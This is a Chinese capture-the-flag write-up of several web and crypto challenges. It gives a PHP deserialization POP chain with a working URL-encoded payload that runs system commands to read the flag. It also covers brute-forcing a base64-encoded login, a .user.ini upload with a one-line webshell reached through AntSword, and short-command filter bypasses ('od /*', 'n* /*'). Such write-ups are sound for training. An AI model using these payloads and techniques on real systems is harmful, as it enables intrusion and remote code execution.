武功山杯·第一届湘赣边大学生网络安全竞赛

石能为鼓

我们打开页面源码,发现一个文件

image-20240726194119325

我们打开,发现一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
show_source(__FILE__);

class ping {
protected $xiang;

function __construct() {
$this->xiang = new fun();
}

function __destruct() {
$this->xiang->cp();
}
}

class fun {
function cp() {
echo "hello";
}
}

class cup {
private $data;
function cp() {
eval($this->data);
}
}

unserialize($_GET['d']);

这道题考的试反序列化,我们构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class ping {
protected $xiang;

function __construct() {
$this->xiang = new cup();
}

function __destruct() {
$this->xiang->cp();
}
}

class fun {
function cp() {
echo "hello";
}
}

class cup {
private $data='system("tac /flag");';

}
$a=new ping();
echo urlencode(serialize($a));

payload

1
?d=O%3A4%3A%22ping%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00xiang%22%3BO%3A3%3A%22cup%22%3A1%3A%7Bs%3A9%3A%22%00cup%00data%22%3Bs%3A20%3A%22system%28%22tac+%2Fflag%22%29%3B%22%3B%7D%7D

龙溪秘境

我们访问hint,可知这题需要进行爆破

我们查看网页源码,可以发现密码进行了base64加密

image-20240728185857109

因此,我们进行爆破的时候,需要将密码进行base64加密

我们选择集装束爆破

image-20240728192018900

我们在第一个位置加载常用用户名字典

在第二个位置加载常用密码,并将编码类型选择为base64加密

image-20240728192049079

开始爆破

我们发现用户名为test,密码为admin时的输出长度不同

image-20240728191850146

我们登录试试

image-20240728192145724

提示密码错误,说明用户名正确,我们就只需要爆破密码就行了

image-20240728192319754

当密码为654321时输出不同,说明可能是正确密码我们登录

登录成功,获得flag

image-20240728192408870

龙池古庙

我们访问hint,提示这题需要传.use.ini文件

我们包含自身(一句话木马)

image-20240728200906341

我们先上传.use.ini,但提示不被允许,我们抓包修改类型

image-20240728200939872 上传成功

image-20240728193023687

成功包含

image-20240728201001414

我们连接蚁剑,找到flag

image-20240728201111045

武功论剑

真君擒龙

打开页面,审计代码

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$cmd=$_GET['cmd'];
if(isset($cmd)&&strlen($cmd)<6&&!strpos(strtolower($cmd), 'nl')){
system($cmd);
}else{
die("no!no!no!");
}

我们需要通过命令执行获取flag,由于限制了cmd的长度,根据提示,我们使用od进行绕过

od:以二进制的方式读取档案内容

1
?cmd=od /*

image-20240730202818091

获得了一大串八进制字符串,我们将八进制字符串转换为二进制字节输出

1
2
a="0000000 066146 063541 031573 033064 032541 033546 026544 033470 0000020 030544 032055 032071 026466 034470 062066 061055 030062 0000040 032064 033066 030146 032067 076541 000012 0000053"
print(b''.join(int(ss, 8).to_bytes(2, 'little') for ss in a.split()))

得到flag

image-20240730203417419

此外,我们也可以用n*绕过nl

1
cmd=n* /*

image-20240730203727557

户外天堂

根据提示,我们需要进行维吉纳亚解密,然后再进行base64解密

写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from base64 import *
from gmpy2 import *
def key_extend(key,length):
Key = key * (length // len(key) + 1)
return Key[:length]
def encrypt(message,table,key):
enc=''
Key=key_extend(key,len(message))
for i in range(len(message)):
if message[i] not in table:
enc += message[i]
continue
enc+=table[(table.index(message[i])+table.index(Key[i]))%len(table)]
return enc
message='kr0gMDY1NTY5MDghNTU5MsozMhU5MzUgNiM3NTI0ODI5MsA2MrE3CmU9NsU1MhcKYz01NTkyOTk4MDM2Mio3Mrg0OTYfODE0OTcfNjUhMiA0MhUiODM='
table='abcdefghijklmnopqrstuvwxyz'
key = 'rsa'
print(b64decode(encrypt(message,table,key).encode()).decode()).

n=1065569082559283359352737524829206217
e=65537
c=557299803638728496181497065330435383

然后继续rsa解密

1
2
3
4
5
6
7
8
9
10
11
12
13
from gmpy2 import*
from libnum import n2s
p=1007395600713969067
q=1057746412436271451
e=65537
c=557299803638728496181497065330435383
n=1065569082559283359352737524829206217
phi=(p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,n)
print(n2s(int(m)))

//b'flag{DraG0o0n}'